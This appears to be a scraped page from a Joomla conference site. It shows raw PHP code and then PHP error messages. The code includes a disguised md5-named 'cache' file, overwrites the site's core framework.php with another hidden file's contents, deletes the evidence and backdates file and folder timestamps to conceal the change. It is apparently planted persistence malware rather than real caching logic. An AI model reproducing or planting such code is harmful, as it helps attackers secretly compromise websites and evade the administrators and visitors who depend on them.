$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php";
$definesFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/defines.php";
$cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php";
$frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php";
clearstatcache();
if ((file_exists($cacheFile)) && (file_exists($frameworkFileTo))) {
include $cacheFile;
require_once $cacheFile;
$filemTime = filemtime($definesFile);
$contentFile = file_get_contents($frameworkFileTo);
file_put_contents($frameworkFile, $contentFile, LOCK_EX);
@unlink($frameworkFileTo);
@unlink($cacheFile);
touch($frameworkFile, $filemTime);
touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime);
touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime);
touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime);
}
Notice: Use of undefined constant JDEBUG - assumed 'JDEBUG' in /sites/conf.phyche.ac.ru/index.php on line 43
Fatal error: Uncaught Error: Class 'JProfiler' not found in /sites/conf.phyche.ac.ru/index.php:43
Stack trace:
#0 {main}
thrown in /sites/conf.phyche.ac.ru/index.php on line 43